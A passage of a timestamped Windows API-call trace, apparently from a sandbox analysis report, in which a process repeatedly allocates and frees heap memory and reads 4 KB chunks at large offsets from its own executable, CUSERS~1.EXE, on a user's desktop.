lpOverlapped=0x0 | out: lpBuffer=0x2cc24c8*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0074.959] GetLastError () returned 0x0 [0074.959] GetCurrentThreadId () returned 0x9b0 [0074.959] GetLastError () returned 0x0 [0074.959] GetCurrentThreadId () returned 0x9b0 [0074.959] GetCurrentThreadId () returned 0x9b0 [0074.959] GetLastError () returned 0x0 [0074.959] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x78312b [0074.959] GetLastError () returned 0x0 [0074.959] GetCurrentThreadId () returned 0x9b0 [0074.959] GetLastError () returned 0x0 [0074.959] GetLastError () returned 0x0 [0074.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc24c8 | out: hHeap=0x2ad0000) returned 1 [0074.959] CloseHandle (hObject=0x2d8) returned 1 [0074.959] GetLastError () returned 0x0 [0074.959] GetCurrentThreadId () returned 0x9b0 [0074.959] GetLastError () returned 0x0 [0074.960] GetLastError () returned 0x0 [0074.960] GetCurrentThreadId () returned 0x9b0 [0074.960] GetLastError () returned 0x0 [0074.961] GetLastError () returned 0x0 [0074.961] GetCurrentThreadId () returned 0x9b0 [0074.961] GetLastError () returned 0x0 [0074.961] GetLastError () returned 0x0 [0074.962] GetCurrentThreadId () returned 0x9b0 [0074.962] GetLastError () returned 0x0 [0074.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302d898 | out: hHeap=0x2ad0000) returned 1 [0074.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.962] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3145808, Size=0x9789) returned 0x3145808 [0074.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e3) returned 0x2cb6ec0 [0074.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4c7) returned 0x2cb72b0 [0074.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.962] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f50, Size=0x20) returned 0x2a1fbf0 [0074.962] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18f38 [0074.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2aa) returned 0x2cb7780 [0074.962] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f38, Size=0x64) returned 0x2a19508 [0074.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x216) returned 0x2c2d660 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac0d38 [0074.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x334) returned 0x2cbc818 [0074.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x391) returned 0x2cbcb58 [0074.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38a) returned 0x2cbcef8 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0d38, Size=0xb8) returned 0x30fd100 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd100, Size=0xe8) returned 0x2ac8ea0 [0074.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x396) returned 0x2cbd290 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8ea0, Size=0x120) returned 0x2c374c0 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x2cb5d68 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5d68, Size=0x1a8) returned 0x2cb8340 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8340, Size=0x1f8) returned 0x2c2ff88 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2ff88, Size=0x250) returned 0x2ac3620 [0074.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x216) returned 0x2cbd630 [0074.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3620, Size=0x2b4) returned 0x2c2b680 [0074.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29e) returned 0x2a8d6b8 [0074.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2ed) returned 0x2cbd850 [0074.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2b680, Size=0x324) returned 0x2bab298 [0074.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab298, Size=0x3a4) returned 0x2cbdb48 [0074.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20b) returned 0x2cbdef8 [0074.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29e) returned 0x2a8d168 [0074.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbdb48, Size=0x434) returned 0x2cbe110 [0074.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbe110, Size=0x4d4) returned 0x2cbe110 [0074.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3b2) returned 0x2cbe5f0 [0074.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbe110, Size=0x588) returned 0x313d7e8 [0074.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x313d7e8 | out: hHeap=0x2ad0000) returned 1 [0074.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3145808 | out: hHeap=0x2ad0000) returned 1 [0074.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afb0 [0074.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9d50 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0074.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0074.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0074.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0074.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] GetCurrentThreadId () returned 0x9b0 [0074.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0074.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0074.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0074.967] GetCurrentThreadId () returned 0x9b0 [0074.967] GetCurrentThreadId () returned 0x9b0 [0074.967] GetCurrentThreadId () returned 0x9b0 [0074.967] GetCurrentThreadId () returned 0x9b0 [0074.967] GetCurrentThreadId () returned 0x9b0 [0074.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.967] GetCurrentThreadId () returned 0x9b0 [0074.967] GetCurrentThreadId () returned 0x9b0 [0074.967] GetLastError () returned 0x0 [0074.967] GetLastError () returned 0x0 [0074.967] GetLastError () returned 0x0 [0074.967] GetLastError () returned 0x0 [0074.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b030 [0074.967] GetLastError () returned 0x0 [0074.968] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0074.968] GetFileType (hFile=0x2d8) returned 0x1 [0074.968] GetLastError () returned 0x0 [0074.969] GetCurrentThreadId () returned 0x9b0 [0074.969] GetLastError () returned 0x0 [0074.969] GetFileType (hFile=0x2d8) returned 0x1 [0074.969] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0074.969] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0074.969] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0074.969] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0074.969] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0074.969] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0074.969] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0074.969] GetLastError () returned 0x0 [0074.969] GetCurrentThreadId () returned 0x9b0 [0074.969] GetLastError () returned 0x0 [0074.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20018 | out: hHeap=0x2ad0000) returned 1 [0074.969] GetLastError () returned 0x0 [0074.970] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7874867, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x782933 [0074.970] GetLastError () returned 0x0 [0074.970] GetCurrentThreadId () returned 0x9b0 [0074.970] GetLastError () returned 0x0 [0074.970] GetCurrentThreadId () returned 0x9b0 [0074.970] GetLastError () returned 0x0 [0074.970] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7149567, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x6d17ff [0074.970] GetLastError () returned 0x0 [0074.970] GetCurrentThreadId () returned 0x9b0 [0074.970] GetLastError () returned 0x0 [0074.970] GetCurrentThreadId () returned 0x9b0 [0074.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xbab) returned 0x3026050 [0074.970] GetLastError () returned 0x0 [0074.970] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0074.971] GetLastError () returned 0x0 [0074.971] GetCurrentThreadId () returned 0x9b0 [0074.971] GetLastError () returned 0x0 [0074.971] GetCurrentThreadId () returned 0x9b0 [0074.971] GetCurrentThreadId () returned 0x9b0 [0074.971] GetLastError () returned 0x0 [0074.971] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x6d27ff [0074.972] GetLastError () returned 0x0 [0074.972] GetCurrentThreadId () returned 0x9b0 [0074.972] GetLastError () returned 0x0 [0074.972] GetLastError () returned 0x0 [0074.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc44d8 | out: hHeap=0x2ad0000) returned 1 [0074.972] CloseHandle (hObject=0x2d8) returned 1 [0074.972] GetLastError () returned 0x0 [0074.972] GetCurrentThreadId () returned 0x9b0 [0074.972] GetLastError () returned 0x0 [0074.972] GetLastError () returned 0x0 [0074.972] GetCurrentThreadId () returned 0x9b0 [0074.972] GetLastError () returned 0x0 [0074.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026c08 | out: hHeap=0x2ad0000) returned 1 [0074.972] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30287e0, Size=0x17b9) returned 0x30287e0 [0074.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f50, Size=0x20) returned 0x2a1fbf0 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19130 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a196c8 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a196c8, Size=0x8c) returned 0x2ac06b0 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac06b0, Size=0xb8) returned 0x30fd280 [0074.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x276) returned 0x2cbdb48 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd280, Size=0xe8) returned 0x2ac9440 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9440, Size=0x120) returned 0x2c374c0 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x2cb6308 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6308, Size=0x1a8) returned 0x2cb86b0 [0074.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb86b0, Size=0x1f8) returned 0x2c30dc0 [0074.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c30dc0 | out: hHeap=0x2ad0000) returned 1 [0074.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30287e0 | out: hHeap=0x2ad0000) returned 1 [0074.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0074.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fba68 [0074.973] GetCurrentThreadId () returned 0x9b0 [0074.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0074.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0074.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0074.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] GetCurrentThreadId () returned 0x9b0 [0074.974] GetLastError () returned 0x0 [0074.974] GetLastError () returned 0x0 [0074.974] GetLastError () returned 0x0 [0074.974] GetLastError () returned 0x0 [0074.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8afd0 [0074.975] GetLastError () returned 0x0 [0074.975] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0074.975] GetFileType (hFile=0x2d8) returned 0x1 [0074.975] GetLastError () returned 0x0 [0074.975] GetCurrentThreadId () returned 0x9b0 [0074.975] GetLastError () returned 0x0 [0074.975] GetFileType (hFile=0x2d8) returned 0x1 [0074.975] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0074.975] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0074.975] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0074.975] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0074.975] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0074.975] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0074.976] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0074.976] GetLastError () returned 0x0 [0074.976] GetCurrentThreadId () returned 0x9b0 [0074.976] GetLastError () returned 0x0 [0074.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0074.976] GetLastError () returned 0x0 [0074.976] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7152533, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x6d2395 [0074.976] GetLastError () returned 0x0 [0074.976] GetCurrentThreadId () returned 0x9b0 [0074.976] GetLastError () returned 0x0 [0074.976] GetCurrentThreadId () returned 0x9b0 [0074.976] GetLastError () returned 0x0 [0074.976] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7943322, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x79349a [0074.976] GetLastError () returned 0x0 [0074.976] GetCurrentThreadId () returned 0x9b0 [0074.976] GetLastError () returned 0x0 [0074.976] GetCurrentThreadId () returned 0x9b0 [0074.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9b0) returned 0x3026050 [0074.977] GetLastError () returned 0x0 [0074.977] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc04b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2cc04b8*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0074.977] GetLastError () returned 0x0 [0074.977] GetCurrentThreadId () returned 0x9b0 [0074.977] GetLastError () returned 0x0 [0074.977] GetCurrentThreadId () returned 0x9b0 [0074.977] GetLastError () returned 0x0 [0074.977] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x79449a [0074.977] GetLastError () returned 0x0 [0074.977] GetCurrentThreadId () returned 0x9b0 [0074.977] GetLastError () returned 0x0 [0074.977] GetLastError () returned 0x0 [0074.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0074.978] CloseHandle (hObject=0x2d8) returned 1 [0074.978] GetLastError () returned 0x0 [0074.978] GetCurrentThreadId () returned 0x9b0 [0074.978] GetLastError () returned 0x0 [0074.978] GetLastError () returned 0x0 [0074.978] GetCurrentThreadId () returned 0x9b0 [0074.978] GetLastError () returned 0x0 [0074.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026a08 | out: hHeap=0x2ad0000) returned 1 [0074.978] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30285e0, Size=0x17a5) returned 0x30285e0 [0074.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x766) returned 0x3026050 [0074.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x458) returned 0x2cbe110 [0074.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.978] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8148, Size=0x20) returned 0x2a1fbf0 [0074.978] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19370 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19370, Size=0x64) returned 0x2a19a48 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19a48, Size=0x8c) returned 0x2ac0a40 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x30fd040 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd040, Size=0xe8) returned 0x2ac9440 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9440, Size=0x120) returned 0x2c37270 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37270, Size=0x160) returned 0x2cb5d68 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5d68, Size=0x1a8) returned 0x2cb8188 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8188, Size=0x1f8) returned 0x2c30398 [0074.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30398, Size=0x250) returned 0x2ac5098 [0074.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac5098 | out: hHeap=0x2ad0000) returned 1 [0074.979] GetCurrentThreadId () returned 0x9b0 [0074.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30285e0 | out: hHeap=0x2ad0000) returned 1 [0074.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afb0 [0074.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f8e00 [0074.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0074.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x30267c0 [0074.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x3026bc8 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.980] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026bc8 | out: hHeap=0x2ad0000) returned 1 [0074.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a98800 [0074.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f8e00 | out: hHeap=0x2ad0000) returned 1 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9298 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a963d0 [0074.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9298 | out: hHeap=0x2ad0000) returned 1 [0074.981] GetCurrentThreadId () returned 0x9b0 [0074.982] GetCurrentThreadId () returned 0x9b0 [0074.982] GetCurrentThreadId () returned 0x9b0 [0074.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.982] GetCurrentThreadId () returned 0x9b0 [0074.982] 